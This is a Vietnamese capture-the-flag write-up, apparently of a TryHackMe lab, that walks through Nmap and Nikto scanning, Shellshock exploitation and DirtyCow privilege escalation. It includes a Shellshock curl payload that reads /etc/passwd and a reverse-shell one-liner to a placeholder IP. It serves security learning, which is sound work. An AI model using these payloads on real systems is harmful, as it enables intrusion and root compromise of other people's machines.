Khai Thác Lỗ Hổng 0day trên Ubuntu
Giới thiệu
Trong bài viết này, chúng ta sẽ tìm hiểu về cách khai thác lỗ hổng 0day trên hệ điều hành Ubuntu thông qua các phương pháp và công cụ phổ biến trong lĩnh vực an ninh mạng. Chúng ta sẽ đi vào chi tiết về quy trình liệt kê mạng, liệt kê web và cách khai thác các lỗ hổng bảo mật nghiêm trọng như Shellshock và DirtyCow.
1. Liệt Kê Mạng (Network Enumeration)
Liệt kê mạng là bước đầu tiên trong quá trình kiểm tra an ninh mạng. Quá trình này bao gồm việc phát hiện và thu thập thông tin về các thiết bị và dịch vụ đang chạy trên mạng. Thông tin thu thập được gồm IP Addresses, Hostnames, và các dịch vụ như HTTP, FTP, SSH cùng với các cổng mở. Một số công cụ thường được sử dụng trong giai đoạn này bao gồm Nmap và Netcat.
2. Liệt Kê Web (Web Enumeration)
Liệt kê web là quy trình thu thập thông tin chi tiết về ứng dụng và máy chủ web. Mục tiêu là xác định các trang web, ứng dụng phụ thuộc, các API, và thông tin cấu hình của máy chủ. Chúng ta thường sử dụng Nikto, DirBuster hoặc Burp Suite để thực hiện việc này.
3. Các Lỗ Hổng Bảo Mật Quan Trọng
CVE-2014-6271 - Shellshock
Shellshock là một lỗ hổng bảo mật nghiêm trọng trong GNU Bash cho phép kẻ tấn công thực thi mã tùy ý qua các biến môi trường hoặc các script web. Điều này đã gây ra cảnh giác lớn trong cộng đồng bảo mật do phạm vi ảnh hưởng rộng rãi của nó.
CVE-2016-5195 - DirtyCow
Lỗ hổng DirtyCow cho phép một quy trình không có quyền có thể ghi đè lên bất kỳ file nào trên hệ thống, bao gồm cả các file chỉ có thể ghi bởi root. Sự phát hiện này đã lớn tiếng trong giới an ninh mạng và hiện được sử dụng để nâng cấp đặc quyền.
4. Quy Trình Khai Thác Lỗ Hổng
Bước 1: Quét Mạng và Phát Hiện Dịch Vụ
Sử dụng Nmap để quét mạng và phát hiện các dịch vụ đang chạy trên máy chủ.
plaintext
sudo nmap -A -sS -sC -sV -O 10.10.97.135
Bước 2: Quét Web để Phát Hiện Các Điểm Yếu
Sử dụng Nikto để quét web và tìm kiếm các điểm yếu tiềm ẩn.
plaintext
nikto --url 10.10.97.135
Bước 3: Kiểm Tra Lỗ Hổng Shellshock
Nếu phát hiện điểm yếu có liên quan đến lỗ hổng Shellshock, tiến hành kiểm tra bằng lệnh sau:
plaintext
curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/cat /etc/passwd;" http://10.10.97.135/cgi-bin/test.cgi
Bước 4: Sử Dụng Reverse Shell
Để có quyền truy cập cao hơn, bạn có thể kích hoạt reverse shell:
plaintext
curl -A "() { :;}; echo Content-Type: text/html; echo; /bin/bash -c '/bin/bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1';" http://10.10.97.135/cgi-bin/test.cgi
Bước 5: Nâng Cấp Quyền với DirtyCow
Sau khi có được quyền truy cập, bạn có thể sử dụng DirtyCow để nâng cấp quyền lên root
plaintext
./cow
5. Kết Quả
Sau khi thực hiện các bước trên, bạn sẽ thu thập được các file nhạy cảm. Ví dụ:
- user.txt: THM{V0N318*****Sh3llSh0ck_r0ckz}
- root.txt: THM{V0N318*****g00d_j0b_0day_is_Pleased}
Kết Luận
Quá trình khai thác lỗ hổng 0day trên Ubuntu có thể có nhiều bước phức tạp, nhưng với sự hướng dẫn và các công cụ phù hợp, bạn có thể thu thập được những thông tin quý giá và nâng cao quyền hạn trên hệ thống. Hãy luôn chú ý đến luật pháp và quy định về an toàn thông tin khi thực hiện các kỹ thuật này.
source: viblo